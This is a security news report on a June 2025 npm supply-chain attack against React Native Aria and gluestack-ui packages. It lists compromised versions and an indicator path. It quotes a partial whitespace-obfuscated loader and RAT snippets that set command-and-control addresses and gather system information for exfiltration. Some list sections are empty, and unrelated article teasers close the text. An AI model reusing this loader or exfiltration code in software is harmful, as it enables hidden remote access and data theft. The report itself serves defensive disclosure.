A sweeping, coordinated attack has struck the heart of the React Native ecosystem, threatening thousands of developers and organizations globally.
Beginning on the evening of June 6, 2025, malicious actors successfully breached at least 16 widely-used npm packages with millions of weekly downloads.
Among the affected packages are @react-native-aria/focus, @react-native-aria/utils, @react-native-aria/overlays, @react-native-aria/interactions, and several more maintained under the React Native Aria umbrella.
The attack also targeted the popular utility library @gluestack-ui/utils.
These compromised packages collectively receive well over a million weekly downloads, putting countless projects at risk of backdoor infiltration.
The attackers exploited maintainer credentials or package ownership, releasing new versions that contained sophisticated, obfuscated backdoors.
The payloads are not only persistent but also evasive, leveraging whitespace-based obfuscation to hide malicious logic from plain view in code editors.
The Backdoor Payload
The breach began with the release of @react-native-aria/focus@0.2.10 at 21:33 GMT on June 6, 2025. The attackers made a single, subtle change to the lib/commonjs/index.js file, inserting a line of code that utilized whitespace to embed an off-screen payload, invisible in editors without word wrapping. The following is a pseudo-excerpt of the technique used:
javascriptglobal['_V']='8-npm13';global['r']=require;(function(){var mGB='',hsR=615-604;function EgY(i){...};var Uwn=EgY('koosdciqucxbhcmgtanzpylfwurjtrtvrnoes').substr(0,hsR);var VVy='...';var EiK=EgY[Uwn];var ogb='';var ZML=EiK;var Bfb=EiK(ogb,EgY(VVy));var cag=Bfb(EgY('...'));var mfa=ZML(mGB,cag);mfa(9993);return 6161})()
Note: Full code omitted for brevity and security—see original source for obfuscated content.
This technique allowed the attackers to deploy a persistent remote access trojan (RAT) that activates upon the package being loaded in a Node.js environment.
The RAT performs a variety of exfiltration and remote control operations:
javascriptconst J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
Here’s a snippet of how the RAT collects and exposes system information:
javascriptif (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
}
Persistence and Evasion
The RAT is designed to evade detection via:
%LOCALAPPDATA%\Programs\Python\Python3127 The presence of unknown executables or scripts in this location is a strong indicator of compromise.Compromised Packages and Versions:
| Package Name | Compromised Version(s) |
|---|---|
| @react-native-aria/focus | 0.2.10 |
| @react-native-aria/utils | 0.2.13 |
| @react-native-aria/overlays | 0.3.16 |
| @react-native-aria/interactions | 0.2.17 |
| @react-native-aria/toggle | 0.2.12 |
| @react-native-aria/switch | 0.2.5 |
| @react-native-aria/checkbox | 0.2.11 |
| @react-native-aria/radio | 0.2.14 |
| @react-native-aria/button | 0.2.11 |
| @react-native-aria/menu | 0.2.16 |
| @react-native-aria/listbox | 0.2.10 |
| @react-native-aria/tabs | 0.2.14 |
| @react-native-aria/combobox | 0.2.8 |
| @react-native-aria/disclosure | 0.2.9 |
| @react-native-aria/slider | 0.2.13 |
| @react-native-aria/separator | 0.2.7 |
| @gluestack-ui/utils | 0.1.16, 0.1.17 |
Suspicious IPs:
Check firewall/outbound connections for:
How to Respond
%LOCALAPPDATA%\Programs\Python\Python3127This supply chain attack is ongoing and evolving, with new malicious versions potentially emerging.
The attackers have demonstrated both persistence and sophistication, leveraging obfuscation and dynamic payloads to evade detection.
The React Native and npm communities are urged to remain vigilant, monitor communications from maintainers, and apply security best practices to protect against future threats.
PortSwigger has leveled up Burp Suite's scanning arsenal with the latest Active Scan++ extension, version…
Unit 42 researchers at Palo Alto Networks exposed serious flaws in the Model Context Protocol…
Polish police have arrested three Ukrainian men traveling through Europe and seized a cache of…
Google has launched its most significant Chrome update ever, embedding Gemini AI across the browser…
Attackers exploit this vulnerability through the router's web interface components, specifically "cgibin" and "hnap_main," by…
Security researchers have uncovered a severe flaw in Apache Tika, a popular open-source toolkit for…